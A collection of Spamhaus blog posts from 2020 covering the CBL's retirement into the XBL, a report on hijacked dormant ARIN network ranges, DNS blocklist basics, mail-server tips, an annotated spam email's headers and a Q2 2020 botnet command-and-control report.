As of the first week of 2021, the Composite Blocklist (CBL) is being retired. This data, however, is included in the eXploits Blocklist (XBL). We advise any users currently accessing the CBL through cbl.abuseat.org to reconfigure and query xbl.spamhaus.org. Will access be stopped for cbl.abuseat.org? No. Access will remain open for some time, and data will continue to be served for cbl.abuseat.org. However, please remember that this is becoming a legacy service, so we do advise querying xbl.spamhaus.org. Are the usage terms and conditions changing? Yes. As of January 4th, 2021, any users of the CBL will be subject to the same terms and conditions as the rest of Spamhaus’ datasets. As a result, the same DNS Access Controls (ACLs), including query limits, that apply to Spamhaus’ data will also apply to users of the CBL. If you are a small scale user, we recommend using the free Data Query Service, managed by Spamhaus Technology. Why is this happening? Operational since 2003, the CBL went on to become a component of the XBL, which was launched in 2004. Meanwhile, the CBL became its own entity operating as a subdivision of Spamhaus. Given Spamhaus’ focus on improving integration across our datasets and increasing the number of access methods, the time has come for all CBL data to be served from the XBL. Where do I go to check CBL listings and removals? Spamhaus will solely manage CBL listings, inquiries, and removals through our lookup pages. A redirection will be in place from abuseat.org. Is the data going to change? CBL and XBL data have mirrored one another for years. Initially, users of the public mirrors may notice an increase in detection rates. This is because the new infrastructure is almost instantaneous in adding new IPs. Conversely, users consuming the rsync version of the XBL will notice a reduction in the zone size: this comes as a result of more aggressive data expiration in the new setup.

Suspicious network resurrections

The Spamhaus Team — Wed, 25 Nov 2020 12:11:10 GMT

UPDATE* Dec 1st 2020: A big thank you to Telia Carrier, Hurricane Electric and GTT for taking swift and positive action in shutting down the related announcements. We believe there is a serious issue relating to the equivalent of 56 “/20” networks, with a corresponding 230k IPv4 addresses. The total value of these is approximately $5M to $6M1 . This is an urgent notification to all organizations involved; ARIN and the backbones, in addition to the legitimate owners, whose IPv4 ranges and ASNs may have been used without their authorization. What activity has Spamhaus observed? Over the past few days, we have observed 52 networks in the ARIN (North-America) area concurrently burst into life. Until this week, all these networks had been dormant (not routed) for a significant length of time. Even more unusual is that a different autonomous system number (ASN), also previously inactive, has announced each network. In 48 cases, these are /20 networks amounting to 4096 IPv4 addresses, and in the remaining 4 cases, they are /19 networks with 8192 addresses. Why do we consider this to be a problem? The improbability of the timing  Occasionally, organizations that have gone offline do reappear on the internet; however it’s a rarity. Meanwhile, the probability of 52 organizations simultaneously choosing to go back online is almost nil. No relationships between each network and the announcing ASN As far as we can deduce there is no relation between each network and the ASN announcing it, other than they’ve been inactive for some time. For instance:   198.14.0.0/20 assigned to Hybrid Networks in Cupertino, CA, is seen announced by AS14126 assigned to VoiceStar in Philadelphia, PA. Traceroutes and pings indicate that they are all physically hosted in the New York City area, in the US. Suspect Border Gateway Protocol (BGP) paths and connecting major backbones The BGP paths connecting these American networks to the New York City hosting facility involve several Ukrainian ASNs, namely: AS204293 and AS204815 - LLC SOLAR STRATEGIA, Chernivtsi, UA AS201292 - Agrofirma Aleks PP, Chumaky, UA AS42602 - KING-TRANS LLC, Kyiv, UA AS209946 - ALINDA LLC, Mykolayiv, UA AS205145 - Start Telecom LLC, Kyiv, UA AS205268 - Ipcom invest LLC, Kyiv, UA Additionally, the above Ukrainian companies appear to be connecting these "suddenly reborn" networks to major backbones, notably: Telia (AS1299) and Hurricane Electric (AS6939) for AS42602, Cogent (AS174) for AS209946, GTT (AS3257) for AS201292, Lumen (AS3356) for AS205268. What action has Spamhaus taken? Given the unlikelihood that these routes are legitimate, we have placed almost all of them on our DROP (Do not Route or Peer) list, until their owners clarify the situation. Here are the full details of the networks and associated resources, as well as the Spamhaus Block List (SBL) ID referring to their case | Network | SBL ID | Announcer | Path(s) | | --- | --- | --- | --- | | 207.183.144.0/20 | SBL502938 | 10758 | 13321 | 42602 | 1299 | | | | 159.127.48.0/20 | Resolved | 11292 | 204293204293 | 201292209946 | 3257174 | | | | 206.41.128.0/20 | SBL502936 | 11393 | 204815204815 | 4260242602 | 69391299 | | | | 64.250.144.0/20 | SBL502906 | 11587 | 204293 | 209946 | 174 | | | | 209.17.192.0/20 | SBL502942 | 12139 | 15315 | 202244 | 205145 | 42602 | 1299 | | 207.183.64.0/20 | SBL502907 | 13321 | 42602 | 1299 | | | | | 209.66.128.0/20 | SBL180438 | 13732 | 204293 | 42602 | 1299 | | | | 140.82.96.0/20 | SBL502920 | 14124 | 204293204293 | 20129242602 | 32571299 | | | | 198.14.0.0/20 | SBL502904 | 14126 | 204293 | 209946 | 174 | | | | 209.161.64.0/19 | SBL502939 | 14206 | 42602 | 6939 | | | | | 167.224.32.0/20 | SBL502894 | 14741 | 201292 | 3257 | | | | | 209.17.208.0/20 | SBL502942 | 14835 | 15315 | 202244 | 205145 | 42602 | 1299 | | 209.95.64.0/19 | SBL502940 | 1531515315 | 202244202244 | 205145205145 | 4260242602 | 69391299 | | | 209.148.16.0/20 | SBL502902 | 16646 | 204293 | 209946 | 174 | | | | 206.183.128.0/20 | SBL502901 | 16726 | 204293 | 42602 | 1299 | | | | 207.201.112.0/20 | SBL502896 | 16817 | 204293 | 42602 | 1299 | | | | 72.1.224.0/20 | SBL502930 | 16916 | 204815204185 | 20129242602 | 32571299 | | | | 206.183.144.0/20 | SBL502901 | 18463 | 204293 | 42602 | 1299 | | | | 76.191.0.0/20 | SBL502905 | 18695 | 204293 | 209946 | 174 | | | | 207.201.96.0/20 | SBL502896 | 19145 | 204293 | 42602 | 1299 | | | | 104.251.192.0/20 | SBL502923 | 19451 | 201292 | 3257 | | | | | 207.183.128.0/20 | SBL502938 | 19666 | 13321 | 42602 | 1299 | | | | 207.244.0.0/20 | SBL502898 | 21560 | 204293 | 42602 | 1299 | | | | 24.170.208.0/20 | SBL502917 | 22117 | 204293 | 209946 | 174 | | | | 192.252.16.0/20 | SBL502925 | 22619 | 201292 | 3257 | | | | | 131.153.192.0/20 | SBL502929 | 22715 | 204815204185 | 205268201292 | 33563257 | | | | 198.151.16.0/20 | SBL244694 | 22979 | 201292 | 3257 | | | | | 207.244.16.0/20 | SBL502898 | 23072 | 204293 | 209946 | 174 | | | | 107.191.240.0/20 | SBL502915 | 25811 | 204293 | 209946 | 174 | | | | 207.201.64.0/20 | SBL502896 | 25897 | 204293 | 42602 | 1299 | | | | 207.244.32.0/20 | SBL502898 | 26125 | 204293 | 42602 | 1299 | | | | 207.201.80.0/20 | SBL502896 | 26460 | 204293 | 42602 | 1299 | | | | 209.66.144.0/20 | SBL180438 | 26466 | 204293204293 | 42602210292 | 12993257 | | | | 24.236.16.0/20 | SBL502928 | 27428 | 204815 | 42602 | 1299 | | | | 207.244.48.0/20 | SBL502898 | 29752 | 204293 | 42602 | 1299 | | | | 64.255.192.0/20 | SBL387690 | 30159 | 204293 | 42602 | 1299 | | | | 98.143.192.0/20 | SBL502926 | 30557 | 4045440454 | 209946201292 | 1743257 | | | | 209.95.192.0/20 | SBL107139 | 31817 | 204815 | 42602 | 1299 | | | | 65.97.48.0/20 | SBL502933 | 33057 | 204815204185 | 20129242602 | 32571299 | | | | 64.255.208.0/20 | SBL387690 | 35983 | 204293 | 42602 | 1299 | | | | 209.95.208.0/20 | SBL107139 | 36818 | 204815 | 42602 | 1299 | | | | 24.236.0.0/20 | SBL502928 | 39980 | 204815 | 42602 | 1299 | | | | 204.147.240.0/20 | SBL502924 | 40431 | 201292 | 3257 | | | | | 98.143.192.0/20 | SBL502926 | 40454 | 209946201292 | 1743257 | | | | | 209.66.0.0/19 | SBL502941 | 40507 | 15315 | 202244 | 205145 | 42602 | 1299 | | 207.183.80.0/20 | SBL502907 | 40576 | 204293 | 209946 | 174 | | | | 139.60.240.0/20 | SBL502913 | 46415 | 204293 | 209946 | 174 | | | | 131.153.208.0/20 | SBL502929 | 53402 | 204815204815 | 20129242602 | 32571299 | | | | 209.66.32.0/19 | SBL502941 | 55078 | 15315 | 202244 | 205145 | 42602 | 1299 | | 207.183.96.0/20 | SBL387691 | 62789 | 204293204293 | 42602201292 | 12993257 | | | | 141.206.128.0/20 | SBL502911 | 63437 | 204293 | 209946 | 174 | | | | 167.82.144.0/20 | SBL502908 | 395827 | 204293 | 209946 | 174 | | | Some of these routes have been withdrawn already, but the majority remain up and running today. We urge all parties to investigate immediately. Based on current market values ↩︎

DNS Blocklist Basics

Matt Stith — Wed, 11 Nov 2020 11:47:27 GMT

You’re running your own email infrastructure, or at least considering it, but how should email filtering be handled? What is your first line of defense against the spam and malicious emails that will bombard your mail server?The answer is simple – Domain Name System Blocklists (DNSBLs). However, if you’re not familiar with DNSBLs, it’s not going to seem simple, or at least, not initially. Don’t worry. We’re going to revisit some blocklist fundamentals to bring you up to speed. DNSBL, blackhole list, blocklist, or blacklist? Firstly, let’s try and eliminate any confusion around terminology. Are they called “blacklists,” “blackhole lists,” “domain name system blocklists,” or “real-time blocklists”? The answer is….all of the above (and probably more). However, for this article’s purpose, we’ll be referring to them as “DNSBLs” and the simplified version of “blocklist.” What is a blocklist? The name gives it away; it’s a list, or more accurately, a database containing IP addresses, domains, or hashes. These lists are compiled by specialist research teams, who have observed the listed internet resources to either be: Directly involved in malicious behavior, e.g., sending spam, distributing malware, hosting botnets, hosting phishing websites, etc., or Having a bad reputation associated with them. Presented in a DNS zone, blocklists can be utilized by anyone managing their own email infrastructure. Fundamentally there are three stages where you should be using DNSBLs: The initial set-up of a connection against the connecting IP address The ‘pre-data phase,’ i.e., during the Simple Mail Transfer Protocol (SMTP) connect The ‘post-data phase,’ i.e., the content filtering stage. How are blocklists compiled? It all starts with data. Vast quantities of data. In fact, Spamhaus was dealing with ‘big data’ before ‘big-data’ became the buzzword we know it as today. The industry and beyond shares data with Spamhaus, from hosting companies to Internet Service Providers (ISPs) and internet governing bodies. Of course, in addition to this Spamhaus runs its own spam traps and honeypots. Through manual investigations, machine learning, and heuristics, our researchers analyze this data to see if it meets pre-defined policies for listing. How are the policies defined? Before curating a DNSBL, Spamhaus decides on the criteria the IP, domain, or email content must meet for it to be listed. These criteria are referred to as “policies.” Needless to say, these policies aren’t plucked out of thin air. Instead, they are formed in consultation with the wider internet industry (both senders and receivers) to ensure they are fit for purpose and meet internet users’ needs. How much data is processed to produce blocklists? To understand the breadth of data processed by our research team to produce reliable and effective blocklists, here are some daily numbers: 3 million domains assessed 18,000 malware samples processed 9 billion SMTP connections analyzed 100’s of heuristics used to identify the good from the bad How blocklists work The IPs, domains, or hashes associated with an email can be queried against a DNSBL to see if they’re listed. As someone managing the email infrastructure, it’s down to you to decide how to handle that potentially malicious email. You can either: A. Reject the email in real-time, with an appropriate delivery code, or B. Accept the message and tag it for additional filtering. Read Understanding the source code of a malicious email to understand why certain parts of an email’s source code have specific blocklists applied to them. What blocklists are available? As previously mentioned, blocklists contain either IPs, domains, or hashes. Here’s a quick overview of the types of blocklists produced by Spamhaus: Spamhaus Blocklist (SBL) – IP addresses observed to be involved in numerous activities including sending spam, snowshoe spamming, botnet command & controllers alongside hijacked IP space. eXploits Blocklist (XBL) –Individual IPs (/32s) that are infected with malware, worms, and Trojans etc. This list prevents mail servers from accepting connections from compromised computing devices. Policy Blocklist (PBL) –IP addresses that shouldn’t be sending email e.g. internet of things (IoT) devices. Spamhaus works together with the industry, enabling IP owners to list and manage their own ranges for your safety. Auth Blocklist (AuthBL) –IP addresses know to host bots using brute force or stolen SMTP-AUTH credentials to send malicious emails. Domain Blocklist (DBL) – Domains owned by spammers, being used for nefarious purposes. We also list domains that are legitimate but have been hacked by bad actors and are being used with malicious intent. Zero Reputation Domains (ZRD) –Domains that have been registered in the past 24 hours – helping you filter email from cybercriminals who register, and immediately use multiple domains on a daily basis. Hash Blocklists (HBL) –A content blocklist that uses cryptographic hashes to list email addresses, cryptowallet addresses, and malware files. What’s next? After this tour of some blocklist basics, why not try the data yourself. Sign up for a free trial here.

Top 10 tips (+1) for running your own mail server

Carel Bitter — Wed, 11 Nov 2020 11:47:12 GMT

There’s much to be said for running your own mail server: privacy, flexibility and being in control of your own destiny; these are all good things. On the flip side, there’s usually a bit more to it than just installing a software package and clicking the Go! button.While the email ecosystem has lots of small complexities under the surface, it’s often the more basic things that can significantly help mail server administrators get things right. Here are our top tips to email success – you’ll certainly have a good start if you implement them all. 1) Have a valid reverse DNS set-up for your mail server Email is heavily dependent on DNS. Often the first thing that needs to be configured is an MX record to tell the world where to send email for a specific domain. However, DNS plays an even more important role when sending emails: your mail server needs to have the correct reverse DNS set up. Having valid reverse DNS (also known as a PTR record) is often the most basic requirement to get your mail accepted anywhere. And it works even better if the value of the reverse points back to the IP; the DNS matches both forward and in reverse. 2) Get a dedicated IP address for your mail server & limit the use of outbound port 25 It’s easy to mix up -for example- office traffic and mail server traffic when it’s all NAT’ed behind the same IP. But this can cause trouble: compromised end-user devices will be able to do bad things online while using the same external IP address of the mail server. Get a dedicated IP address for your mail server, or make sure that proper firewall rules are in place that limits the use of outbound port 25 to mail servers. This can prevent a lot of trouble. 3) Route ALL email traffic through your mail servers Email does not always come from email clients inside your organization: servers, printers, or other devices may send out the occasional message as well. Route all of the above traffic through your mail server, enabling you to know what is being sent and where. Additionally, this ensures that messages are being sent correctly. Lastly, in case of an issue arising internally, proper anti-spam controls will prevent any damage from leaking outside your network. 4) Reject as many malicious emails at the initial email connection and SMTP connect The Simple Mail Transfer Protocol (SMTP) can inform the sender of the outcome of the delivery. Therefore, rejecting as much malicious or potentially malicious mail during the transmission will inform the sender immediately that the mail did not reach the recipient. By using this feature, it is always clear to the sender that the delivery failed, potentially saving consternation between both parties. Accepting an email first and then later bouncing it back is considered bad practice. 5) Deploy email authentication Due to the way the SMTP protocol is designed, it is easy for anyone sending malicious email to use domains that they don’t own. But thanks to the Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting & Conformance (DMARC) standards, it’s also easy to limit any damage that can be caused by that. Deploy these where and when you can, as it can prevent damage should others decide to send mail in your name. Together, SPF, DKIM, and DMARC are often referred to as email authentication. 6) Set up a Sender Policy Framework record in your DNS Always set up a Sender Policy Framework (SPF) record in your DNS, and ensure that it is as specific as possible, limiting the IP addresses allowed to send for your domain. Also, set-up DKIM to sign your outbound mails. The addition of both of these increases the robust nature of your email configuration. 7) Set-up DKIM to sign your emails While SPF allows a receiver to verify if an IP address is allowed to send mail using your domain, DKIM allows verification that the mail that claims to come from a domain /really was/ authorized by the domain owner. By using – again – DNS, a lookup can be performed to get a public key to verify parts of the email. This virtually eliminates domain spoofing in email. 8) Set-up DMARC to resolve issues for the receiver if SPF or DKIM fail. Even if SPF and DKIM are being used for verification, it is still unclear what a receiver should do when either one fails. DMARC solves this problem by publishing a policy in the DNS. 9) Use the same domain name for forward and reverse DNS, and all authentication The more often the same domain is used for all these tips, the better. It makes it far easier for a recipient to see that you are communicating with them and not an imposter. Use the same domain name for forward and reverse DNS for the email sender and all authentication. In the industry, this is called alignment; we call it common sense. 10) Choose your domain wisely, correctly utilizing subdomains Many of the tips we’ve shared rely on DNS, which means that a domain name is involved. Choose your domain name wisely, as many email systems will take a domain’s reputation into account when determining how to treat an email message. Setting up all the authentication standards can improve the reputation of your domain. Finally, always use your main business domain where possible: It’s much better to have marketing.example.com and news.example.com instead of example-news.com and example-mkt.com. 11) Always deploy robust email filtering practices Last but not least, be careful when accepting email. Always deploy sensible filtering practices to prevent malicious emails from being delivered to your users. It’s not possible to prevent bad mail from being sent, but you can certainly help yourself when it comes to accepting only the good, leaving the bad and the ugly out. Running smoothly… If all the tips we’ve shared are implemented, you will discover that running your own email doesn’t have to be troublesome. In return, you will get a lot of freedom to do things the way you want while staying in control of your own destiny. Now it’s time to focus on Domain Name Server Blocklists (DNSBLs), which can help you deal with spam and other malicious inbound emails. Until then: safe mailing!

Understanding the source code of a malicious email

The Spamhaus Team — Tue, 29 Sep 2020 11:07:04 GMT

When an end-user views an email, it isn’t always apparent if it’s malicious or not. However, if you look at the email’s source code, a wealth of information is revealed. By applying specific DNSBLs (blocklists) to a particular element of this source code, you can filter email with great success. But, before we discuss blocklists, you need to understand the anatomy of an email… An email as it looks to an end-user Let’s put some context around the difference between the information that an end-user sees when viewing a malicious email and the actual data contained within the source code. Firstly, take a look at the email below: Above is a typical example of how a spam email displays via end-user client software, such as Apple Mail or Outlook. In the rendering of this email, some elements of the email content may start to ring some warning bells, i.e., an HTML link, a bitcoin address and an attachment. Unfortunately, to a casual user, these elements will probably seem benign. This is exactly what cybercriminals are counting on. They want to exploit how an email appears to the average end-user, keeping elements hidden that could point to the potentially dangerous nature of the email. To see what an email really contains, we have to unpack it and look at the “source code” or “raw code,” viewing the email header and email content. An example of email source code Take a deep breath – there is a considerable amount of information contained within email source code. However, we will explain it all, hopefully without boring you to death (or at least that’s the plan!) Below is the same email as pictured above, only in “raw” format. It illustrates what information is seen and recorded by internet servers as they send and deliver email messages. Email source code elements explained The Received Chain Think of the “Received” chain as a paper trail of all the servers that have handled your email, including your mail server. The reading order is “final connection/most recent” at the top, and the preceding connections are listed in reverse order, culminating with the “originating computer/oldest” at the bottom. These are vital elements because they include all the IP addresses of the email servers that have handled your email and information like the HELO string and reverse DNS (rDNS[1]) of the IPs. “HELO“is a required element in a Simple Mail Transfer Protocol (SMTP) transaction. It is similar to the greeting that a postman might give to a colleague when handling over postal mail: “Hello, I am John from The Postal Service, and I have mail for someone on your route.” Let’s take a deeper dive into our example email’s received chain, starting at the top and reading down: Received Chain C – The most recent received line: This is the most recent and most trusted “Received” line because the recipient’s mail server has registered it; therefore, it’s guaranteed not to have been tampered with. In an attempt to confuse anti-spam systems, miscreants will sometimes try to scramble the “Received” line chain. With this in mind, you should pay particular attention to the subsequent “Received Lines” following on from this most trusted one. The key elements in Line C are: Connecting IP: 192.0.4.1 (#1) rDNS of connecting IP: mta-out.someisp.example (#2) HELO string: mta-out.someisp.example (#3) Explanation:* the sending mail server “mta-out.someisp.example” (#3) makes a connection to the recipient’s mail server “mx.email.example”, announcing itself via HELO with the IP “192.0.4.1″ (#1) and the rDNS of “mta-out.someisp.example” (#2). This is the final connection – if it is accepted (and in this case it was), then the email addressed to is delivered. Received Chain B: This is where “smtp.someisp.example” acknowledges receipt of the email for the destination email address **. Explanation:* *the mail server “smtp.someisp.example”*connects to the outbound (Postfix) mail server “mta-out.someisp.example” for that ISP, telling the outbound that it has mail to be sent to . Received Chain A – the original transaction This line represents the original email transaction that generated the email. Since this is the initial transaction, the pertinent detail here is the connecting IP. The key elements in Line A are: Originating local machine : [192.168.1.2] rDNS of connecting IP: unknown Connecting IP: 192.0.2.1 – (#5)* Explanation: the originating local machine, “192.168.1.2″,makes an outgoing connection to “smtp.someisp.example” and announces itself as “192.0.2.1″. Upon connection, the server “smtp.someisp.example” tries to look up the rDNS of the connecting IP, “192.0.2.1″ (#5), and fails, returning in an “unknown*” result. More email source code elements Return-Path (#4) The “Return-Path” is also known as the “Envelope-From” or “Mail-From.” This is the “actual” email address that sent the email. In terms of old-fashioned snail-mail, the “Return-Path” is similar to a local postal services stamp, i.e., it is an accurate indicator of the letter’s origin. However, when you’re reading the actual contents of the letter, you can’t see the postal services stamp on the envelope. In the case of email, you can’t see the sender’s real email address in the visual rendering of an email, as illustrated in figure 1. Reply-To address (#6) Upon clicking “Reply” to an email, this field serves to instruct your email client software regarding what email address to insert in the “To” field. Usually, with legitimate emails, the “Reply-to” and “From” in the original email will be the same. Our email example shows that the apparent sender is “president@theworld.example,” but if you were to reply to this email, the address would populate as “prezident@gmail.example”… and the bad actors are hoping you won’t notice that. Sender-Address (From) (#7) This is also commonly referred to as the “Friendly From.” The sender-address is comparable to the signature of the person who signs a letter you’ve received through the post, i.e., they can sign it from anyone. In our example, the “Return-Path / Envelope-From” (#1) is different from the “Sender-Address (From)” (#7), aka “Friendly-From.” The Friendly-From name, which is visible to an end-user, is how the sender wants to appear to the recipient. Typically, it includes the sender’s name and email address. Why do miscreants use different Return-Path and Friendly-From email addresses? That’s simple – to trick people! Bad actors want the recipient of the email to believe it’s from someone credible, important, or someone who is known to them. They are trying to add legitimacy and believability. Remember! In most cases, email client software only shows the Friendly-From. It’s like opening a letter and throwing away the envelope before handing it to someone to read; they only see the writing on the actual letter. URL (#8) The end-user has no visibility of the URL (website address) in the email they are viewing. This is because the sender has concealed the URL with a hyperlink associated with “click here.” The actual website URL is “www.worldlotterywinner.example/guhPzwYSFb.” To see where a link will take you, hover over the link, and the details of the URL will display. In many cases, the URLs included in malicious emails will be directing you to a “spamvertised” product, a phishing website, something unsavory, or a malware dropper site. Bitcoin Wallet (#9) A Bitcoin “wallet” is a crypto-address controlled by cybercriminals, often used as an avenue for payment in sextortion spam campaigns. These are campaigns where the bad actor claims to have recorded the victim indulging in some “private activities.” They threaten to share the recording with work, family, and friends unless the cybercriminal receives payment via the bitcoin wallet. There are many variations on this theme, playing on people’s fears with the sole intent of extorting money. Attachment (#10) In this example, the attachment is an Office document called “Further instructions.doc.” More than likely, it will be “Ëœweaponized’ in some shape or form. By this, we mean that if you were to download and open the document, malware would infect your computer. The cybercriminal can then use your computer for whatever purpose they want. This can include sending more spam, exfiltrating your personal data/passwords, or utilizing your computer in a distributed denial-of-service (DDoS) attack. Congratulations – you made it through! We hope this deep dive into email source code helps provide some clarity. What blocklists to apply to email source code With so many email elements to check, it can become confusing as to what blocklist to use at what point in the email filtering process. Take a look at this article to understand what Spamhaus blocklists to use and where to use them to maximize your catch rates. The domain name system looking up (or querying) the domain name associated with an IP address. https://en.wikipedia.org/wiki/Reverse\_DNS\_lookup

Botnet Threat Update: Q2 2020

The Spamhaus Team — Thu, 30 Jul 2020 10:04:43 GMT

The pandemic certainly didn’t put the brakes on botnet operators in Q2 2020. After the welcome decrease in activity at the end of Q1, the research team tracked and listed a 29%\* increase in the number of botnet Command & Controllers (C&Cs) this quarter. This increased activity is highlighted across most of our Top 20 lists, with extensive changes, including numerous new entries and departures... it’s never a dull moment in the botnet ecosphere. Welcome to the Spamhaus Botnet Threat Update Q2 2020. Highlighting networks  with the most active  botnet C&Cs Historically, our Quarterly Botnet Threat Updates have focused on newly observed botnet Command and Controllers (C&Cs). In doing so, we can clearly illustrate the quality of a network’s customer vetting process and security mechanisms; however, it doesn’t provide insight into how particular networks handle abuse reports. Additionally, purely counting new botnet C&Cs enables “bulletproof” hosting companies to evade listings in our Botnet Threat Updates; they don’t take down botnet C&Cs on their network. Therefore, fewer new ones appear. To address this problem, we will now be including in this Update, statistics on those networks hosting the highest total number of active botnet C&Cs. To produce these figures, we review the number of total unresolved botnet C&C listings detailed on the Spamhaus Blocklist (SBL) per network. Realtime data on these statistics can be accessed 24/7 on the Spamhaus website: www.spamhaus.org/statistics/networks/ Number of botnet C&Cs observed, Q2 2020 What is a ‘fraudulent sign-up’? This is where a miscreant is using a fake, or stolen identity to sign-up for a service, usually a Virtual Private Server (VPS) or a dedicated server, for the sole purpose of using it for hosting a botnet C&C. In the second quarter of 2020, Spamhaus Malware Labs identified a total of 3,559 new botnet Command & Control servers (C&Cs). Out of this total number, 2,701 were under the direct control of miscreants i.e., as a result of a fraudulent sign-up. After the first quarter of this year, there was a 57% decrease in newly observed botnet C&Cs with malicious control - extremely positive. At the end of this quarter, figures unfortunately swung back in the opposite direction, with a 29%\* increase. Spamhaus Malware Labs has also identified that, over the past few months, botnet C&Cs appear to be staying active for an increased duration i.e., it’s taking longer for them to be shutdown. Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020: | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Geolocation of botnet C&Cs in Q2, 2020 Let’s take a more in-depth look at where in the world these botnet C&Cs were hosted. Given the increase in the total number of new botnet C&Cs, it’s not surprising that all countries, except China, had an uptick in the number of botnet C&Cs they were hosting. However, there are some newcomers to the chart, while other countries improved and left the Top 20 listing. Significant increases Russia is making a strong bid to take the top spot back from the USA; it increased its listing numbers by 198 botnet C&Cs quarter on quarter. Nonetheless, Singapore had the highest percentage increase of 157%, taking it from #9 in Q1 to #5 in Q2. New entries #10 Hungary, #14 Estonia, #18 India and #20 Lithuania – Hungary was the highest newcomer to the Top 20 list with 70 newly detected botnet C&Cs. Departures Hong Kong, Malaysia, Luxembourg and Switzerland – all these countries improved and dropped off the Top 20 List. Well done! Top 20 locations of botnet C&Cs | | | | --- | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Malware associated with botnet C&Cs, Q2 2020 Credential Stealers What are Credential Stealers? This kind of malware is used by bad actors to steal personal information from a victim’s computer, including key strokes (key logging functionality), session cookies, email addresses, and also credentials to various online services, such as email and File Transfer Protocol (FTP). The high volume of credential stealers we had previously reported in 2019 continued into Q2, 2020. While we have seen a decrease in malware activity linked to Lokibot (#1 in Q1) and AZORult (#2 in Q1), we have seen a substantial increase in the amount of spam emails distributing another credential stealer: AgentTesla. In Q2, we saw a rise of 772% in the number of botnet C&Cs associated with this malware family between Q1 & Q2. Let’s be honest – that’s one behemoth increase! QNodeService A malware family that is new on the scene is QNodeService. It first appeared in March 2020, and acts as a download for a malicious script written in the JavaScript framework Node.js. Looking at our records, it seems that QNodeService is the very first malware-as-a-service that is using Node.js. Using Java + JavaScript comes with a handful benefits from a threat actor’s perspective, including poor AV detection rates and multi-OS support. Emotet With no activity tracked for Emotet in Q2, it dropped off the Top 20 list. However, at the time of writing this report, we have seen Emotet’s malspam campaigns fire up, so we suspect Emotet will be reappearing in Q3. Malware families associated with botnet C&Cs | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Most abused top-level domains, Q2 2020 Here are the top-level domains (TLDs) chosen most frequently by botnet operators to host their infrastructure on. There have been significant changes in these between the two quarters, with six new entries and one meteoric rise. .top & .gq Having sat in the lower part of the Top 20 List in Q1, .top, has seen an extraordinary 530% increase in Q2 to take it into second place, behind .com. Another TLD which has seen huge increases between the two quarters is .gq, with a 316% increase. .pw With a 91% decrease in associated botnet traffic .pw has dropped from #3 in Q1, to #20 in Q2. .de The country code top-level domain (ccTLD) of Germany, .de, has been listed for the first time in our Top 20 list. Top abused TLDS - number of domains | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Most abused domain registrars, Q2 2020 When setting up a botnet C&C infrastructure, threat actors need to decide who they are going to register their domain with. Registrars can’t easily detect fraudulent sign-ups; however, domains used for botnet C&Cs don’t tend to have a long lifespan with well-run registrars. Namecheap The US-based domain registrar Namecheap has been in the #1 spot for a significant length of time. Enom Entering the Top 20 at #2, Enom had 419 botnet C&Cs operating on domains registered to it in Q2. Highest climbers NameSilo had a 90% increase in the number of botnet C&Cs operating on domains registered through them in Q2, taking them to #3 on the Top 20 List. However, with an even more considerable increase of 202%, was Alibaba, moving up #11 in Q1 to #4 in Q2. Most abused domain registrars - number of domains | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Networks hosting the most newly observed botnet C&Cs, Q2 2020 The hosting landscape is fast-moving. You only have to regularly look at “The World’s Worst Spam Support ISPs” on The Spamhaus Project’s website to understand the changing environment. It is therefore not surprising that there were multiple changes in our Top 20 listings: 6 networks dropped off our charts, resulting in 6 newcomers! selectel.ru This Russian based hosting company has been present in the Top 20 for a long time. However, the situation deteriorated in Q2; we witnessed a 194% increase in new botnet C&Cs on their network. As a result, selectel.ru has knocked cloudflare.com off their #1 spot. cloudflare.com We are delighted to see that the US CDN provider Cloudflare improved their abuse situation in Q2, by reducing the number of botnet C&Cs operating on their network by 50%. This is a great effort – and we’re looking forward to seeing this reduce further in the forthcoming quarter. namecheap.com Namecheap, as detailed earlier in this report, is the most abused domain registrar when it comes to botnet C&Cs. Sadly, Namecheap also managed to get into the Top 10 list of Networks hosting the most botnet C&Cs in Q2. tencent.com The Chinese cloud service provider Tencent was heavily abused by threat actors over the past two years for hosting botnet C&Cs. We are very pleased to see that Tencent dropped out of our Top 20 list in Q2. We hope that this will be a signal to their rival, Alibaba, also to improve. Unfortunately, we haven’t seen much sign of this yet. Russian hosting providers improved We were pleased to observe that a handful of Russian based hosting providers, including mgnhost.ru, firstbyte. ru and best-hoster.ru, improved their fight against abuse, resulting in a lower number of new botnet C&Cs on their networks. As a result, these dropped off the Top 20 list. Newly observed botnet C&Cs per network | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | Networks hosting the most active botnet C&Cs, Q2 2020 As mentioned in the “Spotlight” section of this Update, we are going to be listing network operators with the highest total number of active botnets on their network i.e., not only botnets Spamhaus has seen for the first time this quarter. ghlc.biz This network, according to RIPE location in the UK, was hosting more than 300 active botnet C&Cs by the end of Q2. This network shows little interest in acting upon abuse reports, which in turn enables botnet C&Cs to remain online. Consequently, we currently consider this network as “bulletproof” and have added it to the Spamhaus Do not Route Or Peer (DROP) List, advising our users not to accept any traffic to or from this network. inter-cloud.tech The situation at inter-cloud.tech is similar to ghlc.biz. This network rarely takes positive actions in relation to abuse reports, allowing botnet C&Cs to remain on their network. As a result, their network ranges (prefixes) are also listed on Spamhaus DROP. fink.org At the end of Q2, we calculated there close to 100 active botnet C&Cs on this network, mostly associated with Remote Access Tools (RATs). Cloud providers Surprisingly, the two cloud providers Microsoft (Azure) and Google (Compute Engine) are hosting, compared to others, a large number of active botnet C&Cs. Our experience has shown that getting a response from them on abuse reports is sometimes difficult. This illustrates one of the reasons why they have a large number of active botnet C&Cs in their network. Total number of active botnet C&Cs per network | | | --- | | Number of new botnet C&Cs detected by Spamhaus since the beginning of 2020 | You can download the 2020 Q2 Botnet Threat Report as PDF. We look forward to seeing you in Octover when we’ll be providing you with Quarter 3’s update. Stay safe! Data updated since original publication to ensure parity of figures - comparing new botnet Command & Control servers (C&Cs) under the direct control of miscreants: 2,014 in Q1 and 2,701 in Q2. ↩︎

Tracking Qbot

The Spamhaus Team — Thu, 16 Jul 2020 12:50:20 GMT

